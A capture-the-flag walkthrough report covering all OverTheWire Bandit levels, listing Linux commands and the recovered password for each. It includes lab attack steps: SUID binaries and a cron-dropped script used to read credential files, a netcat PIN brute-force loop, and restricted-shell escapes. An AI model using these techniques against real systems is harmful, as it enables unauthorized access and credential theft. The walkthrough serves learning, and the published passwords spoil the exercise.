OverTheWire Bandit Complete Walkthrough (Levels 0 → 34)
OverTheWire: Bandit Wargame — Complete Walkthrough Report
Author: Shashank Pachori (crypticrhino0)
Designation: R&D Intern, IDevSec
Target: OverTheWire Bandit Wargame
Status: Completed all levels (Bandit 0 through Bandit 34)
1. Executive Summary & Overview
Bandit is an entry-to-intermediate cybersecurity wargame hosted by OverTheWire, designed to build muscle memory for Linux CLI navigation, system administration, privilege escalation techniques, network inspection, and shell manipulation.
Each level requires discovering the password for the subsequent level by utilizing core Linux utilities, reversing compression/encoding layers, auditing cron jobs, inspecting SUID binaries, analyzing git metadata, or escaping restricted shell environments.
This writeup documents the exact technical methodologies, commands, and key takeaways for all 34 levels.
2. Walkthrough by Level
Bandit 0 → Bandit 1
Initial login using default credentials (
bandit0:bandit0). The password for the next level is stored in readme.txt.
cat readme.txt
Password:
6y2kwnwK6grgvwvpvLaa2T1cpFEKOhNR
Bandit 1 → Bandit 2
The target file is named
-. Bare dashes are interpreted by CLI tools as standard input/output (stdin/stdout). Specify the relative path ./- to bypass parameter parsing.
cat ./-
Password:
PK8fYLZg2hnHSz83plBL1iEPKdD3QToB
Bandit 2 → Bandit 3
The filename contains spaces. Encapsulate the filename in quotes or escape spaces with backslashes.
cat "spaces in this filename"
Password:
7ZZ2LFrykP2zEyvBl4m3clcL7tGYJPME
Bandit 3 → Bandit 4
Hidden files in Unix start with a dot (
.). List all directory contents including hidden files using ls -la.
cd inhere ls -la cat .hidden
Password:
xzTXq1rDJQVVAzdv5cHq1TQytTWufAMq
Bandit 4 → Bandit 5
The directory contains multiple files, but only one is human-readable ASCII text. Inspect file MIME types using
file.
cd inhere file ./* cat ./-file07
Password:
6C7h9GD8M6ai5nr7wo1RonrzFjj9yIrG
Bandit 5 → Bandit 6
The password file is human-readable, non-executable, and exactly 1033 bytes in size. Use
find or du to locate matching file properties.
cd inhere du -b -a | grep 1033 cat ./maybehere07/.file2
Password:
pXa26xhMWaC2SvDotA4r9EgZkulOeSBW
Bandit 6 → Bandit 7
The password file is stored somewhere on the system root (
/), owned by user bandit7, group bandit6, with a size of 33 bytes. Suppress permission denied errors with 2>/dev/null.
find / -type f -user bandit7 -group bandit6 -size 33c 2>/dev/null cat /var/lib/dpkg/info/bandit7.password
Password:
Bmnnvf82KzQlfxgAI2d1zYbr1u9pr3E3
Bandit 7 → Bandit 8
Search for the line next to the string
millionth in data.txt.
grep millionth data.txt
Password:
VR1ljMayciFxbnUokuQmJFw6QC9VKtub
Bandit 8 → Bandit 9
Find the unique line of text in
data.txt that occurs only once. uniq requires sorted input.
sort data.txt | uniq -u
Password:
EjmOSvuAu7sGAHqHVcBDPirRe9T03kxl
Bandit 9 → Bandit 10
Extract human-readable strings from a binary file using
strings and filter for lines containing =.
strings data.txt | grep =
Password:
B0s2khmbT9u0geKuOoVGW3JZKhndE3BG
Bandit 10 → Bandit 11
Decode standard Base64 encoded text.
cat data.txt | base64 -d
Password:
pYfOY6HwUsDj5rL9UvyhU7MCmv8vN5Ro
Bandit 11 → Bandit 12
The file text is obfuscated using ROT13 cipher (Caesar shift of 13 positions).
cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Password:
GROozWPO8QyN0mGrjUkID0WCYkZiQxrN
Bandit 12 → Bandit 13
Decompress a multi-layered nested file containing hex dump, gzip, bzip2, and tar archive structures.
mkdir /tmp/workspace cd /tmp/workspace cp ~/data.txt . xxd -r data.txt > data file data # Iterative decompression steps: mv data binary.gz && gzip -d binary.gz bzip2 -d binary tar -xf binary.out # Repeat file type inspection and unpacking until reaching plaintext file cat data8
Password:
qQYQiHOBPR8zR61qxYqX45quvihF2uzk
Bandit 13 → Bandit 14
Authentication switches from password-based to an SSH RSA private key (
sshkey.private).
ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220
Password:
aaWecNkG4FhxJQxz07uiwzVP6bJiYS65
Bandit 14 → Bandit 15
Transmit the current password to port
30000 on localhost via raw TCP connection using Netcat (nc).
cat /etc/bandit_pass/bandit14 | nc localhost 30000
Password:
pbLYuZtTg4MgaqfJx8jbA9gKKGqM68A7
Bandit 15 → Bandit 16
Submit password to port
30001 on localhost over an SSL/TLS encrypted connection using openssl s_client.
openssl s_client -connect localhost:30001 # Input bandit15 password when prompt connects
Password:
kS0Hf0u5HiXFwKMKFqXvPdOTNGGa0X8V
Bandit 16 → Bandit 17
Port scan the local port range (
31000–32000) using nmap to find the SSL listener, then send the current password to retrieve the private key for bandit17.
nmap -sV localhost -p 31000-32000 openssl s_client -quiet -connect localhost:31790
Save the returned RSA key to
/tmp/sshkey17.private, enforce proper file permissions (chmod 600), and connect:
ssh -i /tmp/sshkey17.private bandit17@bandit.labs.overthewire.org -p 2220
Bandit 17 → Bandit 18
Compare differences between
passwords.new and passwords.old using diff.
diff passwords.new passwords.old
Password:
OQxXZjELndr90zuhOTDYBEomI0SZITXI
Bandit 18 → Bandit 19
The login shell for
bandit18 automatically terminates upon interactive session start (.bashrc override). Execute commands directly via SSH parameter without spawning interactive TTY:
ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"
Password:
KpsOfPkcP7i1FlIExk2QEjyt6dw8dxZI
Bandit 19 → Bandit 20
Exploit a custom Set Owner User ID (SUID) binary (
./bandit20-do) to read elevated system files.
./bandit20-do cat /etc/bandit_pass/bandit20
Password:
4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA
Bandit 20 → Bandit 21
Spawn a local TCP server listener transmitting the
bandit20 password, then execute ./suconnect <port> to trigger authentication handshake and receive bandit21 credentials.
# Terminal 1: Listener echo "4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA" | nc -l -p 4444 # Terminal 2: Trigger ./suconnect 4444
Password:
bW9kBv5WC3P4yoDyf12LSdGuNz5ka6hY
Bandit 21 → Bandit 22
Inspect system cron schedules in
/etc/cron.d/. The script outputs the target password to a world-readable file path.
cat /etc/cron.d/cronjob_bandit22 cat /usr/bin/cronjob_bandit22.sh cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Password:
RYVux2rHEm9tiXHmLFzuR7Vhx6AZQMEz
Bandit 22 → Bandit 23
The cron script computes target path dynamically via MD5 hash of
I am user bandit23. Replicate hash calculation:
echo I am user bandit23 | md5sum | cut -d ' ' -f 1 # Hash: 8ca319486bfbbc3663ea0fbe81326349 cat /tmp/8ca319486bfbbc3663ea0fbe81326349
Password:
gKXDTAXnIz3OBxiPjRZ2uqutUlPZrBsw
Bandit 23 → Bandit 24
Cron job automatically executes scripts dropped inside
/var/spool/bandit24/foo/ as user bandit24.
mktemp -d cd /tmp/tmp.exfil cat > exploit.sh << 'EOF' #!/bin/bash cat /etc/bandit_pass/bandit24 > /tmp/pass24 chmod 666 /tmp/pass24 EOF chmod 777 exploit.sh cp exploit.sh /var/spool/bandit24/foo/ # Wait 60s for cron tick cat /tmp/pass24
Password:
hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv
Bandit 24 → Bandit 25
Brute-force a 4-digit PIN (0000–9999) appended to
bandit24 password on port 30002.
#!/bin/bash for pin in {0000..9999}; do echo "hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv $pin" done | nc localhost 30002 | grep -v "Wrong!"
Password:
SoHfqMOEqIX2IYKVciZxvgpR9a2Djx4P
Bandit 25 → Bandit 26
bandit26 shell is set to /usr/bin/showtext, which invokes more on login. Resize terminal height to forced minimum (e.g. 5 lines) to trigger more pagination, then break out into Vim command mode:
1. Connect via SSH with small window size 2. Press 'v' to enter Vim 3. :set shell=/bin/bash 4. :shell
Once inside shell:
cat /etc/bandit_pass/bandit26
Password:
jHdv2ELQhT22BkprMNDjybZDAkw1zeBJ
Bandit 26 → Bandit 27
Execute SUID wrapper
./bandit27-do to read next pass file.
./bandit27-do cat /etc/bandit_pass/bandit27
Password:
STJLJBRRphMxKB392CT4iOr5CbzPU9ER
Bandit 27 → Bandit 28
Clone Git repository hosted on internal SSH port
2220.
git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo cd repo cat README
Password:
y8Yd2ssKcpHpud7UvOSOxwamRMzIGIeQ
Bandit 28 → Bandit 29
Password was removed from current HEAD but remains in Git commit logs.
git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo cd repo git log -p
Password:
Em7eGtqaMySwNFjCpwzzHhLhospOcdt0
Bandit 29 → Bandit 30
Password is isolated inside a separate remote branch (
dev).
git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo cd repo git branch -a git checkout dev cat README.md
Password:
jq9Dfg2rXsfYsWMgFuKlXhphjdH7USgX
Bandit 30 → Bandit 31
Password is tag-annotated in Git objects.
git clone ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo cd repo git tag git show secret
Password:
82NkymblpGBYmIXG6ZQ8YldBYstHpfUf
Bandit 31 → Bandit 32
Push a required file
key.txt with specific contents to remote branch master to trigger server-side verification hook response.
git clone ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo cd repo echo "May I come in?" > key.txt git add -f key.txt git commit -m "add key" git push origin master
Password:
pWuj5jBQ6IgV0NXwiH6g1pXRF8S1YvbT
Bandit 32 → Bandit 33
Restricted uppercase-shell converts all typed text to uppercase. Bypass using POSIX shell variable
$0 to spawn /bin/sh:
$0 whoami # bandit33 cat /etc/bandit_pass/bandit33
Password:
u4P2CyPOwPGLe94RdD9Uo2FxFwvnFswM
Bandit 33 → 34 (Completion)
Read completion notice:
cat README.txt
Notice: "Congratulations on solving the last level of this game!"
3. Core Techniques & Skill Matrix
| Category | Utilities & Concepts |
|---|---|
| File Systems | , , relative pathing (), hidden files |
| Data Processing | , , , , |
| Encoding / Compression | , (), , , , |
| Networking & Services | , , , |
| Privilege Escalation | SUID binaries, cron job injection, background listeners |
| Git Forensics | Commit history, branches, tags, forced remote pushes |
| Shell Escaping | command execution, uppercase shell bypass |
4. Conclusion & Key Takeaways
Solving OverTheWire Bandit end-to-end builds critical operational confidence in Linux security auditing and exploitation fundamentals. Moving from initial CLI parameter manipulation to cron job abuse, network socket interaction, Git metadata forensics, and shell sandbox escapes highlights how small misconfigurations compound into complete system privilege escalation.